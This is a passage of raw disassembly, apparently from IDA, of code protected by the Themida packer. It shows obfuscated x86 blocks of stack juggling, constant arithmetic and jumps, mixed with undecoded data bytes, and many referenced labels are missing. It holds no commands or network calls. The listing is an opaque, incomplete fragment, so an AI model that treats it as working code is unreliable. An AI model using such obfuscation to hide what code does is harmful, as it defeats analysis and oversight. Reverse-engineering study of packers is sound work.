		dd 0CDE933FFh, 2800005Dh, 46D2CC8h, 2434FF87h, 4B95E9h
		dd 0E9FB0100h, 530h, 2474FF57h,	4088E904h, 4FF0000h, 524B5B24h
		dd 2B008EBAh, 5AD32904h, 3528F381h, 0C78157E8h,	6608443Eh
		dd 1048C781h, 0DF017C42h, 1048EF81h, 0EF817C42h, 6608443Eh
		dd 1B88E9h, 242C8900h, 0FFFD8EE9h, 0FF575BFFh, 5F042474h
		dd 105CE9h, 81C62900h, 291285C6h, 0B9515824h, 0FEB5784h
		dd 3325BF57h, 0EF812603h, 1, 708FE9h, 0CFDA3500h, 0C729A840h
		dd 5FF83158h, 68A0EB81h, 0C30158C3h, 778F68h, 0FFAFE900h
		dd 5AE9FFFFh, 81FFFFB1h, 4C4h, 2BB5300h, 0E9000000h, 248Ch
		dd 4FF5815Eh, 564F5121h, 71B538BEh, 5EF529B2h, 0E95DEB89h
		dd 3779h, 4C481h, 0C7810000h, 4, 5D87E9h, 59C88900h, 0CDACE95Dh
		dd 12E9FFFFh, 87FFFFB1h, 895C2404h, 8DE92414h, 89FFFFF8h
		dd 4C181E1h, 52000000h,	1265E9h, 0EFC14700h, 2F78106h
		dd 31C990CDh, 0C1015FF8h, 2A8CE958h, 34FF0000h,	24148B24h
		dd 81E78957h, 4C7h, 4C78300h, 0E9243C87h, 6259h, 0C281E289h
		dd 4, 8704C283h, 0E95C2414h, 2768h
; ---------------------------------------------------------------------------


loc_62DA08:				; CODE XREF: Themida_:00631778j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_634376
		push	dword ptr [edi+1Ch]
		push	edx
		mov	edx, 0FBC4096h
		xor	[esp+4], edx
		pop	edx
		jmp	loc_631444
; ---------------------------------------------------------------------------


loc_62DA2F:				; CODE XREF: Themida_:0062D36Cj
		push	7994h
		mov	[esp], esi
		jmp	loc_62E8F7
; ---------------------------------------------------------------------------
		dd 9C240401h, 0FFDDCBE9h, 80CBFEFFh, 0DD8834C3h, 0FFEE62E9h
		dd 0F02D40FFh, 0E97FDE18h, 46CCh, 2B2A0ABAh, 46F2870Fh
		dd 11CBE9h, 36C78000h, 8076F780h, 0F9881AC7h, 8E1C05Bh
		dd 281BC180h, 0C8B66CBh, 6432E924h, 0E8890000h,	58C3015Dh
		dd 0B9768h, 243C8900h, 0D6DE9h
		db 0
; ---------------------------------------------------------------------------


loc_62DA99:				; CODE XREF: Themida_:0062B63Ej
		xor	[ecx], esi
		pop	ecx
		jmp	loc_62CC51
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 4
		dd 894E9h, 2434FF00h, 0BCE95058h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62DAB3:				; CODE XREF: Themida_:0062F0ACj
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		std
		jmp	loc_634EC0
; ---------------------------------------------------------------------------
		dd 72CF681h, 0F3291B9Ch, 5D53E9h, 0DBE95A00h, 0E9FFFFCAh
		dd 0FFFFAFCDh, 713B68h,	6DE95400h, 51FFFFB8h, 775DE9h
		dd 4BD00h, 0EE010000h, 1A77685Dh, 3C890000h, 4BF24h, 0FE010000h
		dd 2434875Fh, 24048B5Ch, 81595451h, 4C1h, 0A4BA5200h, 0E906B45Fh
		dd 0FFFFBE2Ch
; ---------------------------------------------------------------------------


loc_62DB34:				; CODE XREF: Themida_:00630039j
		push	ecx
		jmp	loc_62B233
; ---------------------------------------------------------------------------


loc_62DB3A:				; CODE XREF: Themida_:0062FC9Fj
		pop	ebp
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_6334EF
; ---------------------------------------------------------------------------
aQs1		db 'Q1',0
		align 4


loc_62DB58:				; CODE XREF: Themida_:00632F9Dj
		push	ebp
		push	esi
		mov	esi, 41466CD4h
		mov	ebp, esi
		pop	esi
		jmp	loc_63473D
; ---------------------------------------------------------------------------


loc_62DB67:				; CODE XREF: Themida_:0062C77Cj
		mov	eax, 24h
		jmp	loc_62B6BA
; ---------------------------------------------------------------------------
		db 8, 0E3h, 66h
		dd 14C38058h, 205BD900h, 0FCE959CEh
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62DB83:				; CODE XREF: Themida_:00633D3Aj
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, 44A05D94h
		add	ebp, edi
		push	eax
		jmp	loc_62F149
; ---------------------------------------------------------------------------


loc_62DB9E:				; CODE XREF: Themida_:0062A81Cj
		add	eax, 3F79272Ch
		xor	eax, 0F758FE3Bh
		mov	ebx, eax
		jmp	loc_62B484
; ---------------------------------------------------------------------------


loc_62DBAF:				; CODE XREF: Themida_:006293D8j
		not	eax
		inc	eax
		xor	eax, 0DFEA94F0h
		or	ecx, eax
		pop	eax
		sub	ecx, 4F263F6Bh
		add	esi, ecx
		pop	ecx
		add	esi, 4
		jmp	loc_62A951
; ---------------------------------------------------------------------------
		db 0BBh
		dd 20840164h, 3D5DE9h
		db 0
; ---------------------------------------------------------------------------


loc_62DBD5:				; CODE XREF: Themida_:0062A13Aj
		add	esi, 4A7D79CFh
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_62C4F1
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_631F82
; ---------------------------------------------------------------------------


loc_62DBFC:				; CODE XREF: Themida_:00629202j
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 38916B58h
		and	ecx, 3447440Ch
		jmp	loc_62D0F4
; ---------------------------------------------------------------------------


loc_62DC18:				; CODE XREF: Themida_:00632320j
		add	eax, 4
		jmp	loc_630AE0
; ---------------------------------------------------------------------------
aT_hK		db 'T_h+K',0
		dd 240C8900h, 4B9h, 0E3E95200h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62DC37:				; CODE XREF: Themida_:0062F7B8j
		mov	[esp], cx
		jmp	loc_63063D
; ---------------------------------------------------------------------------


loc_62DC40:				; CODE XREF: Themida_:0062F364j
		mov	esi, edi
		pop	edi
		push	ebx
		mov	ebx, 89B3F338h
		sub	esi, ebx
		pop	ebx
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		and	ebp, 37BD2661h
		jmp	loc_62CA8F
; ---------------------------------------------------------------------------
		db 5
		dd 7F550E8h, 0FFC1B5E9h
dword_62DC68	dd 48B66FFh, 4EC8124h, 89000000h, 25E9240Ch		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62DC7B:				; CODE XREF: Themida_:0062FF66j
		xor	ecx, eax
		pop	eax
		add	eax, ecx
		jmp	loc_62F51D
; ---------------------------------------------------------------------------


loc_62DC85:				; CODE XREF: Themida_:00631006j
		add	esp, 4
		sub	esi, eax
		pop	eax
		push	esi
		mov	esi, 7E866FC8h
		sub	eax, esi
		pop	esi
		push	ebx
		mov	ebx, 30009A8h
		jmp	loc_62F508
; ---------------------------------------------------------------------------
		dw 8758h
		dd 895C240Ch, 0BD552434h, 4, 8EE9EE89h,	81FFFFBEh, 71880C7h
		dd 241C8B57h, 8704C483h, 248B243Ch, 4A30F24h, 0EAE99C24h
		dd 2CFFFFADh, 290496h, 0B35366D8h, 66D82829h, 4EC835Bh
		dd 0B6241489h, 0E9F00096h, 2253h, 59BFC981h, 0BD557A1Fh
		dd 225535B6h, 0E95DE929h, 47A2h, 3560BE56h, 0F1016D7Bh
		dd 81E9295Eh, 7B3560E9h, 81415D6Dh, 913C60E9h, 0C6E9562Ch
		dd 8300002Ch, 4BBE04C4h, 31033F45h, 2434FFEEh, 4C4835Dh
		dd 34E9F021h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62DD3B:				; CODE XREF: Themida_:0062A487j
		xchg	ebp, [esp]
		pop	esp
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_633DEC
; ---------------------------------------------------------------------------
		db 0B8h
		dd 3E7A6E23h, 4251E005h, 2E8C130h, 0BA5C2335h, 0C5A4E961h
		dd 0F181FFFFh, 2107316h, 34FFCE01h, 0D2F1E924h,	815EFFFFh
		dd 4C4h, 24043300h, 0FFEF4AE9h,	35D4BBFFh, 5EE90BB0h, 52000026h
		dd 0CF11F5BAh, 1A1FE970h, 0C4810000h, 4, 65B7E9h, 4EC8300h
		dd 68240C89h, 6797h, 0E9242489h, 5937h
; ---------------------------------------------------------------------------


loc_62DDBC:				; CODE XREF: Themida_:00630AE3j
		pop	esp
		jmp	loc_62B26C
; ---------------------------------------------------------------------------
		dw 0F75Eh
		dd 26BD55D1h, 814C1B36h, 0EB0636EDh, 0E9E93171h, 2C5h
; ---------------------------------------------------------------------------


loc_62DDD8:				; CODE XREF: Themida_:0062E4A6j
		add	eax, ebp
		pop	ebp
		jmp	loc_630FAE
; ---------------------------------------------------------------------------
		dd 7E17C381h, 23E96B55h, 1FFFFF1h, 0BCB850D3h, 25005F2Fh
		dd 3F4A2741h, 0E9FFC083h, 0FFFFCE04h, 241C335Fh, 33241C31h
		dd 0E9E9241Ch, 57FFFFCAh, 4BFh,	0E9FA0100h, 819h, 0E9241489h
		dd 47FEh
; ---------------------------------------------------------------------------


loc_62DE24:				; CODE XREF: Themida_:00630FC1j
		add	ebx, eax
		add	ebx, 607F1C80h
		sub	ebx, 122E2961h
		push	1260h
		mov	[esp], esi
		push	79D17FB5h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		add	ebx, esi
		jmp	loc_634F77
; ---------------------------------------------------------------------------
		dw 6664h
		dd 5702B60Fh, 222BE9h
		db 0
; ---------------------------------------------------------------------------


loc_62DE5D:				; CODE XREF: Themida_:0062BE33j
		pop	esp
		push	ecx
		jmp	loc_633D49
; ---------------------------------------------------------------------------
		dd 60E9F028h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62DE6B:				; CODE XREF: Themida_:006293A5j
		add	edi, 4
		jmp	loc_63403D
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 81C83108h, 4ECh, 24048900h, 0F7241487h, 4EC81D2h, 89000000h
		dd 8B54240Ch, 0FBE9240Ch, 5A000041h, 984C381h, 0C3813599h
		dd 95061DDh, 0FFE126E9h, 0E9DEF7FFh, 0CFCh, 24048B66h
		dd 58B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_62DEBD:				; CODE XREF: Themida_:00635220j
		mov	[esp], edi
		push	ebx
		jmp	loc_62E4AB
; ---------------------------------------------------------------------------
		dw 665Ch
		dd 5624048Bh, 2218E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62DED2:				; CODE XREF: Themida_:0062FCDCj
		pop	bx
		sub	al, 74h
		sub	bl, 0FEh
		add	bl, al
		push	eax
		mov	ah, 0FEh
		add	bl, ah
		jmp	loc_629897
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 5C240433h, 9FCE9h, 0D1055900h, 54CC631h, 7434785Dh
		dd 2BBBA52h, 3E686D6Ch,	89000003h, 0FAB9240Ch, 813E9D5Fh
		dd 107568C1h, 5873E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62DF1A:				; CODE XREF: Themida_:0063117Cj
		sub	esi, 0FFFFFFFFh
		neg	esi
		and	esi, 3D3C7154h
		jmp	loc_630F28
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 68E1F724h, 6F1Ah, 50241489h,	0AB7FE99Ch, 815FFFFFh
		dd 2C2h, 4EC8300h, 7E2E9h, 2DE80100h, 35A806F9h, 83242C8Bh
		dd 4D6804C4h, 89000041h, 6852243Ch, 1FD7007Bh, 5EAC15Ah
		dd 8104EAC1h, 7DAD84EAh, 5AD789AEh, 72EF8147h, 8162BA5Ah
		dd 6469E8C7h, 0B2C78164h, 681479CDh, 34ADh, 0FFB448E9h
		dd 49E951FFh, 47000013h, 0CEBB534Fh, 92F2200h, 0EF815BDFh
		dd 0C1318E5Eh, 295FFB01h, 88BD55FBh, 0C165AD73h, 0EDC104E5h
		dd 5A97E904h, 0E9530000h, 2464h
; ---------------------------------------------------------------------------


loc_62DFC8:				; CODE XREF: Themida_:0062EEF5j
		add	esp, 4
		jmp	loc_62BBFF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 3523h, 0EC83D831h, 241C8904h, 151C3E68h
		dd 241C8B77h, 8104C483h, 1C3h, 11EAE900h, 0DA200000h, 0FEF2805Bh
		dd 0EA80DAF6h, 0EC8151F6h, 4, 0B7241C89h, 67E95227h, 0D1FFFFBDh
		dd 66C581E5h, 893B27A9h, 2AE95DE8h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62E027:				; CODE XREF: Themida_:0062F16Dj
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_633E92
; ---------------------------------------------------------------------------
		db 0BEh, 37h, 49h
		dd 0F5892086h, 5324348Bh, 0C381E389h, 4, 0FFCDE1E9h, 243489FFh
		dd 37ABE9h, 58C30100h, 4B951h, 0CB010000h, 241C8759h, 240C335Ch
		dd 33240C31h, 665C240Ch, 9C240429h, 0FFAA48E9h,	0E9DA88FFh
		dd 0FFFFC8F8h, 33240431h, 4AE92404h, 89000059h,	4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 0FFD47AE9h, 6C815DFFh, 0DEA0424h
		dd 4C0178FFh, 44810424h, 0DEA0424h, 5F5978FFh, 6564E9h
		db 0
; ---------------------------------------------------------------------------


loc_62E0B9:				; CODE XREF: Themida_:0062A1A5j
		push	edi
		jmp	loc_6329C2
; ---------------------------------------------------------------------------
		db 89h
		dd 4B850E1h, 1000000h, 0C865E9C1h, 5055FFFFh, 0FFD7E6E9h
		dd 48B66FFh, 4EC8124h, 0E9000000h, 0FFFFE3C3h, 0F6FFC580h
		dd 42E580DDh, 608E9h
		db 0
; ---------------------------------------------------------------------------


loc_62E0F1:				; CODE XREF: Themida_:0063122Dj
		add	ebp, 62E1445Eh
		pop	ecx
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_62B753
; ---------------------------------------------------------------------------
		dd 4240481h, 58000000h,	0FFBC12E9h, 0C8B66FFh, 59545124h
		dd 513CE9h, 2EE95F00h, 8900002Bh, 0DD68243Ch, 89000038h
		dd 4812424h, 424h, 0BD555F00h, 4, 690EEF81h, 0EF013805h
		dd 0FFEFCEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62E155:				; CODE XREF: Themida_:0062EF7Ej
		pop	ecx
		jmp	loc_631673
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FB8EE949h, 3487FFFFh, 24248B24h, 4AB0F66h, 4AE99C24h
		dd 5EFFFFA9h, 4C681h, 0C6810000h, 4, 1005E9h, 2E5C100h
		dd 4D7DBA52h, 0C6E911DFh, 8900006Ah, 2C6F68E5h,	1C890000h
		dd 5A5FBB24h, 0E3811D15h, 9FB7AF8h, 0F48E381h, 68557F7Ch
		dd 56817BBDh, 5DEB295Dh, 4257E9h
		db 0
; ---------------------------------------------------------------------------


loc_62E1BD:				; CODE XREF: Themida_:00629929j
		push	4EB9h
		mov	[esp], ecx
		push	6ED2h
		mov	[esp], esi
		push	2445h
		jmp	loc_62B726
; ---------------------------------------------------------------------------
		db 66h
		dd 57240C8Bh, 0BA52E789h, 45DC4BDBh, 7FEAEA81h,	0D2F717B4h
		dd 81424242h, 0D83415F2h, 5AD701D1h, 0FFAC46E9h, 241487FFh
		dd 9F68575Ch, 5F0B3815h, 6E7BEB81h, 0FB013547h,	0E904EC83h
		dd 0FFFFF1ABh
; ---------------------------------------------------------------------------


loc_62E218:				; CODE XREF: Themida_:006304AEj
		add	eax, ecx
		jmp	loc_629981
; ---------------------------------------------------------------------------
		db 5Bh
		dd 1E18E959h, 8B660000h, 83E92404h, 0B200004Bh,	0E845E94Eh
		dd 405FFFFh, 83000000h,	48704E8h, 2C895C24h, 5E3BE924h
		dd 80580000h, 0E980FCF1h, 0AB652D6h, 2899C180h,	0A9268F1h
		dd 0A1E90000h, 4DFFFFE2h, 0FFF2AFE9h, 4C481FFh,	0E9000000h
		dd 0FFFFFB6Ch, 4BAh, 24540100h,	1C8B5A04h, 4C48324h, 0AFC6E951h
		dd 2C89FFFFh, 47F8BD24h, 0C5816376h, 0E916280Bh, 95DEB89h
		dd 0E9495BD9h, 0FFFFBD4Ch, 0FFA814E9h, 143359FFh, 24143124h
		dd 5C241433h, 9C240CFEh, 0FFA800E9h, 2434FFFFh,	6824148Bh
		dd 6806h, 89241489h, 4BE56E2h, 1000000h, 34E95EF2h, 80FFFFFBh
		dd 0EB28A7C3h, 6429E9h,	0CCE6800h, 0C15A59FDh, 0EA8105E2h
		dd 4317FA5h, 6E2C142h, 0FFD4F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62E2FD:				; CODE XREF: Themida_:0062D1DCj
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_62F670
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 87h
		dd 0E9621368h, 4B8h, 2B4F68ADh,	0C890000h, 5DBE5624h, 89743478h
		dd 24348BF1h, 4C481h, 0C8290000h, 0E9240C8Bh, 2DC7h, 0FFA780E9h
		dd 241487FFh, 0F8B8505Ch, 29319E41h, 178FE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62E34E:				; CODE XREF: Themida_:0062AEB3j
		mov	eax, esp
		add	eax, 4
		push	482Eh
		mov	[esp], ebp
		mov	ebp, 5A9B5FECh
		push	ebx
		mov	ebx, 20F4EE8h
		add	ebx, 46B516ADh
		shl	ebx, 5
		and	ebx, 698594Dh
		not	ebx
		not	ebx
		xor	ebx, 1B6322C3h
		sub	ebp, ebx
		pop	ebx
		sub	ebp, 0FFFFFFFFh
		add	ebp, 5F0030Ah
		sub	ebp, 44A03030h
		jmp	loc_62AF14
; ---------------------------------------------------------------------------
		dd 1B25266h, 5A66D728h,	660CE780h, 0E90EB551h, 0A12h, 0DAB05052h
		dd 0E8E9C288h, 8B000041h, 0E9C12424h, 0FC00B00h, 4D0B84h
		dd 4E086800h, 8FE90000h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62E3CF:				; CODE XREF: Themida_:00631B05j
		xor	ebp, 6BD404C4h
		shr	ebp, 4
		shr	ebp, 6
		push	eax
		push	edx
		mov	edx, 0F7E5F92h
		mov	eax, 851557h
		add	eax, edx
		pop	edx
		and	ebp, eax
		jmp	loc_62933C
; ---------------------------------------------------------------------------


loc_62E3F1:				; CODE XREF: Themida_:0062D7BCj
		sub	eax, ecx
		jmp	loc_62D422
; ---------------------------------------------------------------------------
		dd 52535266h, 0BDE9E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62E402:				; CODE XREF: Themida_:00632D5Bj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_62FF36
; ---------------------------------------------------------------------------
		dd 0C7815F54h, 4, 2B850h, 0C7290000h, 243C8758h, 1C89665Ch
		dd 47B05024h, 42E9C788h, 1FFFFC8h, 6FE95AD6h, 83FFFFAFh
		dd 8B042404h, 25E9242Ch, 5A000036h, 8758C329h, 248B241Ch
		dd 241C8924h, 2475B050h, 4882E928h, 1C890000h, 51E38924h
		dd 4B9h, 0AC01E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62E46E:				; CODE XREF: Themida_:0062C0F0j
		mov	[esp], edx
		mov	edx, 24h
		sub	edx, 56AA704Ch
		add	edx, edi
		add	edx, 56AA704Ch
		add	[edx], ebx
		push	dword ptr [esp]
		pop	edx
		push	ecx
		jmp	loc_630BBD
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFA625h
; ---------------------------------------------------------------------------


loc_62E498:				; CODE XREF: Themida_:0062F2CAj
		sub	ebp, 90C6329h
		dec	ebp
		dec	ebp
		xor	ebp, 849B8D8Dh
		jmp	loc_62DDD8
; ---------------------------------------------------------------------------


loc_62E4AB:				; CODE XREF: Themida_:0062DEC1j
		mov	ebx, 6BAB1E3Ch
		shr	ebx, 5
		add	ebx, 0FCA2A70Fh
		jmp	loc_629555
; ---------------------------------------------------------------------------


loc_62E4BE:				; CODE XREF: Themida_:0062EC12j
		sub	edx, 5A7B59F2h
		pop	ebx
		jmp	loc_63034D
; ---------------------------------------------------------------------------


loc_62E4CA:				; CODE XREF: Themida_:00629804j
		mov	esi, 4A013AE7h
		neg	esi
		push	edx
		mov	edx, 468D4AF2h
		xor	edx, 0C642B82h
		add	esi, edx
		jmp	loc_635122
; ---------------------------------------------------------------------------


loc_62E4E4:				; CODE XREF: Themida_:0062D63Cj
		add	esp, 4
		jmp	loc_62D3B6
; ---------------------------------------------------------------------------
		dd 5EF6815Eh, 0C1623C65h, 8EE902E6h, 5C000061h,	8B241C87h
		dd 31662424h, 0E99C2404h, 0FFFFA5B1h, 0C831C131h, 0C181C131h
		dd 3881CBEDh, 0FFE7F1E9h, 0FEEAD0FFh, 73F280C2h, 148BD030h
		dd 4EC8324h, 89240489h,	6CCAE9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62E536:				; CODE XREF: Themida_:0063239Aj
		add	ebx, 7A281C2Eh
		push	edx
		push	0
		pop	edx
		add	edx, ebx
		push	dword ptr [edx]
		pop	ecx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	4
		jmp	loc_6347EE
; ---------------------------------------------------------------------------


loc_62E560:				; CODE XREF: Themida_:0062BA92j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_629E6F
		push	ecx
		push	2805CEAh
		jmp	loc_629F73
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 68C8BF0Fh, 5B34h, 68240489h,	45EFh, 0E9242489h, 0FFFFFB80h
		dd 81243C8Bh, 4C4h, 1194E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62E59E:				; CODE XREF: Themida_:006329BDj
		sub	esp, 4
		jmp	loc_629A2D
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4D7DF1C3h, 50FB013Fh, 15406856h, 0C15E464Bh,	814E03E6h
		dd 0B4D6FC6h, 1614E941h, 0E7890000h, 4C781h, 7DE90000h
		dd 29FFFFE0h, 0F74E5DEEh, 0D6F74EDEh, 46C5E9h, 0BEF8100h
		dd 814EF738h, 5812C7EFh, 0E9FA2163h, 2D3Bh, 36144ABBh
		dd 81DBF772h, 0C2591AC3h, 4BDBF749h, 44D5C381h,	0B7E9D78Ch
		dd 54000016h, 0EC835659h, 243C8904h, 0EABE5653h, 0C16AD70Ah
		dd 0F68107EEh, 0D5AE11h, 0FFAAA7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62E62D:				; CODE XREF: Themida_:00634DE2j
		add	bl, 89h
		jmp	loc_63384E
; ---------------------------------------------------------------------------
		db 5Fh,	87h, 14h
		dd 7FE95C24h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62E63F:				; CODE XREF: Themida_:0062CD80j
		not	esi
		sub	esi, 4F78333Fh
		jmp	loc_62D5C3
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 0C022B624h, 0CE907EEh, 0FF00002Ah
		dd 8B042474h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_629FAD
; ---------------------------------------------------------------------------


loc_62E67E:				; CODE XREF: Themida_:006314B6j
		push	ebx
		mov	ebx, 1D6D49C0h
		push	ebp
		jmp	loc_62BCB3
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4EC8324h, 1C5BE9h, 4EFC100h,	4789C781h, 0FB8928BDh
		dd 56243C8Bh, 0FFCE33E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62E6A9:				; CODE XREF: Themida_:006339B5j
		inc	edx
		jmp	loc_632ED8
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 8704C283h, 248B2414h,	424BE924h, 0C890000h
		dd 0A3EFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62E6CE:				; CODE XREF: Themida_:0062F61Ej
		mov	ecx, 3A81228Bh
		jmp	loc_62F172
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4812404h, 4, 53E78957h,	52FAE9h
		db 0
; ---------------------------------------------------------------------------


loc_62E6ED:				; CODE XREF: Themida_:006315B5j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_62F309
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 28h
		dd 0E959EB00h, 3FC2h, 2474FF51h, 240C8B04h, 52E38953h
		dd 0A633FABAh, 0B8503Bh, 29000000h, 48B92D0h, 4C48324h
		dd 7910CA81h, 2FE97AB0h, 89FFFFA8h, 74FF2414h, 33E90424h
		dd 68000015h, 5FD1h, 0F08E9h, 1CBB5300h, 815A8525h, 8FD434EBh
		dd 5BD82952h, 53C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_62E759:				; CODE XREF: Themida_:0062E9EEj
		pop	ecx
		push	edx
		mov	edx, 62756AC9h
		dec	edx
		xor	edx, 62756ACCh
		add	ecx, edx
		pop	edx
		sub	ecx, 4
		jmp	loc_634A60
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 81E68956h, 4C6h, 4B85000h, 29000000h, 348758C6h, 4895C24h
		dd 0D2D2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62E796:				; CODE XREF: Themida_:0062A791j
		mov	edx, 336C1FAFh
		jmp	loc_62D5E8
; ---------------------------------------------------------------------------
		dd 665AF000h, 0E91BB652h, 2CA0h, 51E95D54h, 1FFFFD0h, 0D06DE9CAh
		dd 4401FFFFh, 8B580424h, 6BE9240Ch, 0E900002Ah,	0FFFFA2F1h
		dd 3830E958h, 248B0000h, 0E1F76624h, 10C468h, 241C8900h
		dd 0AD68E389h, 89000001h, 0FB82404h, 0C12CFC49h, 4FE903E0h
		dd 5600004Ah, 545172BEh, 5EF0296Eh, 0BDC8E959h,	2BFFFFFh
		dd 81000000h, 8F5D5CEBh, 0E9FB012Dh, 286Bh, 0FFA2A0E9h
		dd 10F380FFh, 6698EB80h, 0D713E952h, 0E95CFFFFh, 0FFFFD64Ah
		dd 4C481h, 86E90000h, 83FFFFEFh, 0BB5304C4h, 46FC5810h
		dd 2B90EB81h, 0E3810D7Dh, 13CB715Fh, 20ADF381h,	0DBF72AACh
		dd 0B84EF381h, 0DF31C986h, 9EB8505Bh, 0F7103013h, 0BDEBE9D0h
		dd 0ED80FFFFh, 80D5F6AFh, 0E5C0F1EDh, 0FED5F605h, 1ED80C5h
		dd 0B450CDFEh, 66E2E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62E88A:				; CODE XREF: Themida_:006290A9j
		sub	edi, 3BB47018h
		add	edi, ebx
		add	edi, 3BB47018h
		mov	ebx, [esp]
		push	esi
		jmp	loc_62C819
; ---------------------------------------------------------------------------
		db 0B4h, 0EEh, 80h
		dd 0EC80E3CCh, 2DEC8015h, 34FFE528h, 8EE95824h,	0E9000001h
		dd 0FFFFA201h, 24148B58h, 1448E9h, 5BDE2900h, 348BF789h
		dd 4C48124h, 57000000h,	0F2243481h, 8B1CF62Bh, 0C4832414h
		dd 0F2F28104h, 5F1CF62Bh, 0FFA1D0E9h, 24D366FFh, 0C6E99C24h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62E8F7:				; CODE XREF: Themida_:0062DA37j
		mov	esi, 0FFFFFFFFh
		push	esi
		mov	ebx, [esp]
		jmp	loc_62C2CD
; ---------------------------------------------------------------------------
		db 1, 0C8h, 2Dh
		dd 6D3F036Ch, 0FFBD2FE9h, 68525CFFh, 71D9h, 0FFEBA0E9h
		dd 668AB6FFh, 0F6F78853h, 66FE88D7h, 0FECEFE5Bh, 6FEE80CEh
		dd 0E95AF000h, 3A8Ch
; ---------------------------------------------------------------------------


loc_62E938:				; CODE XREF: Themida_:0062F764j
		add	esp, 4
		jmp	loc_62F7B2
; ---------------------------------------------------------------------------
		db 0F7h
		dd 4EC83DFh, 0B8240489h, 7F7B127Bh, 0FFE578E9h,	81D101FFh
		dd 0B73899C1h, 4264E91Fh, 0C6810000h, 3EB68F49h, 0EE9F231h
		dd 89000001h, 405E0h, 55560000h, 0FFD9C4E9h, 24048FFFh
		dd 0E924248Bh, 0FFFFCD28h, 0E4C9BE58h, 40E93C8Eh
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62E993:				; CODE XREF: Themida_:00628B29j
		mov	edi, [esp]
		jmp	loc_631404
; ---------------------------------------------------------------------------
		db 89h
		dd 0E789243Ch, 0FFB942E9h, 4BBFFh, 0D9010000h, 0DF2E95Bh
		dd 3C330000h, 5AD7E924h, 55580000h, 4A6BE954h, 3C890000h
		dd 0BD555024h, 2B315EC1h, 0FFADC4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62E9D1:				; CODE XREF: Themida_:00630E42j
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
